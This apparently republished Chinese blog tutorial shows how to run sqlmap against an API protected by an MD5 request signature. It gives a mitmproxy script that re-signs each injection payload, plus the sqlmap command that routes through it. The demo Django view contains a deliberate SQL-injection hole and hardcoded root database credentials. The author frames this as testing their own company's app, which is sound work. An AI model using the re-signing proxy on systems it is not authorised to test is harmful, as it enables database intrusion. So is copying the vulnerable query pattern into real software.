溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

sqlmap處理sign加密的思路

發(fā)布時(shí)間:2022-01-18 13:53:26 來源:億速云 閱讀:141 作者:柒染 欄目:網(wǎng)絡(luò)安全

小編今天帶大家了解sqlmap處理sign加密的思路,文中知識點(diǎn)介紹的非常詳細(xì)。覺得有幫助的朋友可以跟著小編一起瀏覽文章的內(nèi)容,希望能夠幫助更多想解決這個(gè)問題的朋友找到問題的答案,下面跟著小編一起深入學(xué)習(xí)“sqlmap處理sign加密的思路”的知識吧。

我對公司的APP進(jìn)行測試的時(shí)候發(fā)現(xiàn),我們是將所有的參數(shù)內(nèi)容加上一個(gè)32位字符最后在進(jìn)行MD5加密。由于APP處理的流程首先是驗(yàn)證sign是不是正確,如果驗(yàn)簽失敗,根本就進(jìn)不去數(shù)據(jù)庫,為了要使用SQLMAP對其進(jìn)行測試,于是就寫了一個(gè)代理數(shù)據(jù)的腳本,在攔截到數(shù)據(jù)包之后,對其參數(shù)內(nèi)容和32字符進(jìn)行加密替換。

注:該腳本適用于公司內(nèi)部系統(tǒng),因?yàn)槟軌蛑兰用艿牧鞒?;或者能夠拿到前端JS的加密方式。

首先我使用Django寫了一個(gè)程序來模擬公司的系統(tǒng),流程是獲取POST的id和token,并加上自定義加密的字符,由于Django獲取到數(shù)據(jù)是已經(jīng)經(jīng)過URLDECODE,所以我用了quote對參數(shù)id的內(nèi)容進(jìn)行URLENCODE,再進(jìn)行MD5加密,最后驗(yàn)證請求過來的token是否和參數(shù)內(nèi)容一致。

views.py

from django.shortcuts import render
from django.http import JsonResponse
# Create your views here.
import hashlib
import MySQLdb
import urllib
from django.views.decorators.csrf import csrf_exempt

@csrf_exempt
def index(request):
    id = request.POST.get("id")
    token = request.POST.get("token")
    str = urllib.quote(id+"test")
    print(str)
    hl = hashlib.md5()
    hl.update(str)
    token1 = hl.hexdigest()
    print token1
    if token == token1:
        db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8')
        cursor = db.cursor()
        cursor.execute("select * from t_userinfo where id="+id)
        data = cursor.fetchone()
        print "Database version : %s " % data
        db.close()
        return JsonResponse({"msg":"verity ok"})
    else:
        return JsonResponse({"msg":"verity error."})


models.py

class userinfo(models.Model):
    name = models.CharField(max_length=100)
    age = models.CharField(max_length=100)

使用BP進(jìn)行抓包,可以看到當(dāng)驗(yàn)證正確和驗(yàn)證錯(cuò)誤返回的狀態(tài)。

sqlmap處理sign加密的思路sqlmap處理sign加密的思路

使用SQLMAP進(jìn)行測試,發(fā)現(xiàn)無法測試。
sqlmap處理sign加密的思路于是我使用mitmproxy,mitmproxy是一個(gè)交互式的中間代理HTTP和HTTPS的控制臺界面,具體詳情可以看這里。

如果要修改的話,只修改wsproxy_request_handle函數(shù),因?yàn)檫@個(gè)函數(shù)是攔截?cái)?shù)據(jù)并且篡改數(shù)據(jù)的過程,其他的代碼都是配置過程和運(yùn)行過程,不用修改。

from mitmproxy.proxy.server import ProxyServer
from mitmproxy import flow,  controller
from mitmproxy import flow, proxy, controller, options
import hashlib
import re


def md5cr(str):
    hl = hashlib.md5()
    hl.update(str.encode(encoding='utf-8'))
    return hl.hexdigest()

class WSProxy(flow.FlowMaster):
    def __init__(self, opts, server, state, unsave_data):
        super(WSProxy, self).__init__(opts, server, state)
        self.unsave_data = unsave_data
    def run(self):
        try:
            print("start")
            flow.FlowMaster.run(self)
        except KeyboardInterrupt:
            self.shutdown()

    @controller.handler
    def request(self, f):
        wsproxy_request_handle(f)

    @controller.handler
    def response(self, f):
        wsproxy_response_handle(f)
        # parser = ResponseParser(f)
        # insert_result(parser.parser_data())

def wsproxy_request_handle(flow):
    """wyproxy send data to server before processing"""

    try:
        data = flow.request.content.split("&")
        t = ""
        for i in data:
            if i.split("=")[0] != "token":
                t = t+i.split("=")[1]
        str = t+"test"
        sign = md5cr(str)
        print(str)
        data1 = re.match("(.*?)token=",flow.request.content).group()
        flow.request.content = data1+sign
        print(flow.request.content)
    except IndexError:
        pass


def wsproxy_response_handle(flow):
    pass

port = 8888  #
mode = 'regular'  #mode=regular
opts = options.Options(
        listen_port=int(port),
        mode=mode,
        cadir="./ssl/",
)
unsave_data = False
config = proxy.ProxyConfig(opts)
state = flow.State()
server = ProxyServer(config)
m = WSProxy(opts, server, state, unsave_data)
m.run()

運(yùn)行上面的腳本使用SQLMAP代理到上http://IP:8888上面,然后腳本會自動處理sqlmap的payload和生成對應(yīng)的sign。

python sqlmap.py -r e:\\1.txt -p id --dbms=mysql --batch  --proxy=http://192.168.1.240:8888

sqlmap處理sign加密的思路

上面是生成payload和sign的過程,下面是我請求一個(gè)payload報(bào)錯(cuò)的過程。

sqlmap處理sign加密的思路

sqlmap處理sign加密的思路

感謝大家的閱讀,以上就是“sqlmap處理sign加密的思路”的全部內(nèi)容了,學(xué)會的朋友趕緊操作起來吧。相信億速云小編一定會給大家?guī)砀鼉?yōu)質(zhì)的文章。謝謝大家對億速云網(wǎng)站的支持!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI